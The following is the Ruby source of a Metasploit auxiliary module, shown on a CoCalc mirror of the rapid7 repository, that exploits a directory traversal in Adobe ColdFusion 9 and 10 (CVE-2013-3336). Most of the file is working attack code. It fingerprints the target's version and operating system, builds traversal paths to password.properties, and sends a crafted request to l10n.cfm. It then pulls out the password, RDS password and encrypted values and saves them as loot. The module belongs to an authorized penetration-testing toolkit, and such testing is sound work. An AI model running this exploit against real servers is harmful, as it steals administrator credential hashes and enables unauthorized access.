Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/gather/coldfusion_pwd_props.rb
19593 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Auxiliary::Report
8
include Msf::Exploit::Remote::HttpClient
9
10
def initialize(info = {})
11
super(
12
update_info(
13
info,
14
'Name' => "ColdFusion 'password.properties' Hash Extraction",
15
'Description' => %q{
16
This module uses a directory traversal vulnerability to extract information
17
such as password, rdspassword, and "encrypted" properties. This module has been
18
tested successfully on ColdFusion 9 and ColdFusion 10 (auto-detect).
19
},
20
'References' => [
21
[ 'CVE', '2013-3336' ],
22
[ 'OSVDB', '93114' ],
23
[ 'EDB', '25305' ]
24
],
25
'Author' => [
26
'HTP',
27
'sinn3r',
28
'nebulus'
29
],
30
'License' => MSF_LICENSE,
31
# The day we saw the subzero poc
32
'DisclosureDate' => '2013-05-07',
33
'Notes' => {
34
'Reliability' => UNKNOWN_RELIABILITY,
35
'Stability' => UNKNOWN_STABILITY,
36
'SideEffects' => UNKNOWN_SIDE_EFFECTS
37
}
38
)
39
)
40
41
register_options(
42
[
43
Opt::RPORT(80),
44
OptString.new("TARGETURI", [true, 'Base path to ColdFusion', '/'])
45
]
46
)
47
end
48
49
def fingerprint(response)
50
if (response.headers.has_key?('Server'))
51
if (response.headers['Server'] =~ /IIS/ or response.headers['Server'] =~ /\(Windows/)
52
os = "Windows (#{response.headers['Server']})"
53
elsif (response.headers['Server'] =~ /Apache\//)
54
os = "Unix (#{response.headers['Server']})"
55
else
56
os = response.headers['Server']
57
end
58
end
59
60
return nil if response.body.length < 100
61
62
title = "Not Found"
63
response.body.gsub!(/[\r\n]/, '')
64
if (response.body =~ /<title.*\/?>(.+)<\/title\/?>/i)
65
title = $1
66
title.gsub!(/\s/, '')
67
end
68
return nil if (title == 'Not Found' or not title =~ /ColdFusionAdministrator/)
69
70
out = nil
71
72
if (response.body =~ />\s*Version:\s*(.*)<\/strong\><br\s\//)
73
v = $1
74
out = (v =~ /^6/) ? "Adobe ColdFusion MX6 (Not Vulnerable)" : "Adobe ColdFusion MX7 (Not Vulnerable)"
75
elsif (response.body =~ /<meta name=\"Author\" content=\"Copyright 1995-2012 Adobe/ and response.body =~ /Administrator requires a browser that supports frames/)
76
out = "Adobe ColdFusion MX7 (Not Vulnerable)"
77
elsif (response.body =~ /<meta name=\"Author\" content=\"Copyright \(c\) 1995-2006 Adobe/)
78
out = "Adobe ColdFusion 8 (Not Vulnerable)"
79
elsif (response.body =~ /<meta name=\"Author\" content=\"Copyright \(c\) 1995\-2010 Adobe/ and
80
response.body =~ /1997\-2012 Adobe Systems Incorporated and its licensors/)
81
out = "Adobe ColdFusion 10"
82
elsif (response.body =~ /<meta name=\"Author\" content=\"Copyright \(c\) 1995-2010 Adobe/ or
83
response.body =~ /<meta name=\"Author\" content=\"Copyright \(c\) 1995\-2009 Adobe Systems\, Inc\. All rights reserved/)
84
out = "Adobe ColdFusion 9"
85
elsif (response.body =~ /<meta name=\"Keywords\" content=\"(.*)\">\s+<meta name/)
86
out = $1.split(/,/)[0]
87
else
88
out = 'Unknown ColdFusion'
89
end
90
91
if (title.downcase == 'coldfusionadministrator')
92
out << " (you have administrator access)"
93
end
94
95
out << " (#{os})"
96
file = ''
97
trav = ''
98
if (os =~ /Windows/)
99
trav = '..\..\..\..\..\..\..\..\..\..'
100
file = (out =~ /ColdFusion 9/) ? '\ColdFusion9\lib\password.properties' : '\ColdFusion10\CFusion\lib\password.properties'
101
else
102
trav = '../../../../../../../../../..'
103
file = (out =~ /ColdFusion 9/) ? '/opt/coldfusion9/lib/password.properties' : '/opt/coldfusion10/cfusion/lib/password.properties'
104
end
105
106
if (response.body =~ /Adobe/ and response.body =~ /ColdFusion/ and file == '')
107
print_error("#{peer} Fingerprint failed...aborting")
108
print_status("response: #{response.body}")
109
return nil, nil
110
end
111
112
return out, "#{trav}#{file}"
113
end
114
115
def check
116
if check_cf
117
return Msf::Exploit::CheckCode::Vulnerable
118
end
119
120
Msf::Exploit::CheckCode::Safe
121
end
122
123
def check_cf
124
vuln = false
125
url = '/CFIDE/adminapi/customtags/l10n.cfm'
126
res = send_request_cgi({
127
'uri' => url,
128
'method' => 'GET',
129
'Connection' => "keep-alive",
130
'Accept-Encoding' => "zip,deflate",
131
})
132
133
if (res != nil)
134
# can't stack b/c res.code won't exist if res is nil
135
vuln = true if (res.code == 500 and res.body =~ /attributes\.id was not provided/)
136
end
137
138
if (vuln)
139
url = '/CFIDE/administrator/mail/download.cfm'
140
res = send_request_cgi({
141
'uri' => url,
142
'method' => 'GET',
143
'Connection' => "keep-alive",
144
'Accept-Encoding' => "zip,deflate",
145
})
146
if (res != nil)
147
vuln = false if (res.code != 200)
148
end
149
end
150
151
return vuln
152
end
153
154
def run
155
filename = ""
156
157
url = '/CFIDE/administrator/index.cfm'
158
# print_status("Getting index...")
159
res = send_request_cgi({
160
'uri' => url,
161
'method' => 'GET',
162
'Connection' => "keep-alive",
163
'Accept-Encoding' => "zip,deflate",
164
})
165
# print_status("Got back: #{res.inspect}")
166
return if not res
167
return if not res.body or not res.code
168
return if not res.code.to_i == 200
169
170
out, filename = fingerprint(res)
171
print_status("#{peer} #{out}") if out
172
173
if (out =~ /Not Vulnerable/)
174
print_status("#{peer} isn't vulnerable to this attack")
175
return
176
end
177
178
if (not check_cf)
179
print_status("#{peer} can't be exploited (either files missing or permissions block access)")
180
return
181
end
182
183
res = send_request_cgi({
184
'method' => 'GET',
185
'uri' => normalize_uri(target_uri.path, 'CFIDE', 'adminapi', 'customtags', 'l10n.cfm'),
186
'encode_params' => false,
187
'encode' => false,
188
'vars_get' => {
189
'attributes.id' => 'it',
190
'attributes.file' => '../../administrator/mail/download.cfm',
191
'filename' => filename,
192
'attributes.locale' => 'it',
193
'attributes.var' => 'it',
194
'attributes.jscript' => 'false',
195
'attributes.type' => 'text/html',
196
'attributes.charset' => 'UTF-8',
197
'thisTag.executionmode' => 'end',
198
'thisTag.generatedContent' => 'htp'
199
}
200
})
201
202
if res.nil?
203
print_error("Unable to receive a response")
204
return
205
end
206
207
rdspass = res.body.scan(/^rdspassword=(.+)/).flatten[0] || ''
208
password = res.body.scan(/^password=(.+)/).flatten[0] || ''
209
encrypted = res.body.scan(/^encrypted=(.+)/).flatten[0] || ''
210
211
if rdspass.empty? and password.empty?
212
# No pass collected, no point to store anything
213
print_error("No passwords found")
214
return
215
end
216
217
print_good("rdspassword = #{rdspass}")
218
print_good("password = #{password}")
219
print_good("encrypted = #{encrypted}")
220
221
p = store_loot('coldfusion.password.properties', 'text/plain', rhost, res.body)
222
print_good("password.properties stored in '#{p}'")
223
end
224
end
225
226